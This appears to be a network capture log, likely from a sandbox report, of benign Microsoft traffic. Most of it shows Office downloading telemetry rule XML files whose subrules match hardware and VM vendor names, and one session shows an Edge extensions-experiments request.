2024-11-12 12:35:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:26 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123526Z-16547b76f7f775p5hC1DFWzdvn0000000fqg0000000021uk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	51527	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 81ebe052-401e-00ac-2da0-340a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123527Z-17df447cdb5xwzjjhC1DFWz7vs00000000y000000000c7cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	51530	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123527Z-16547b76f7flf9g6hC1DFWmcx8000000066g000000005hf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	51536	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:27 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123527Z-16547b76f7fxdzxghC1DFWmf7n0000000fug00000000227u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	51538	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:27 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123527Z-16547b76f7fxsvjdhC1DFWprrs0000000fp0000000000qm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	51537	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ec03b74d-b01e-005c-11a1-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123527Z-17df447cdb5rnd49hC1DFWgmpw0000000670000000009wcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	51535	94.245.104.56	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:28 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:28 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 12 Nov 2024 12:35:27 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	51545	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:28 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ff96e4fc-901e-00ac-66a2-34b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123528Z-15869dbbcc6tjwwhhC1DFWn228000000092g000000003ct3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	51544	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6e8dc5a-601e-0002-3da0-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123528Z-15869dbbcc6hgzkhhC1DFWgtqs000000072g000000005gnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	51542	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 898dd9bc-901e-0048-53d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123528Z-16547b76f7fkcrm9hC1DFWxdag0000000ftg000000004dp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	51540	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123528Z-16547b76f7flf9g6hC1DFWmcx8000000067g000000003qmd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	51541	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: f10ad1d1-001e-000b-20a3-3415a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123528Z-17df447cdb5t94hvhC1DFWw9780000000chg0000000018hr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	51550	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:29 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123529Z-16547b76f7fx6rhxhC1DFW76kg0000000fqg000000001sb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
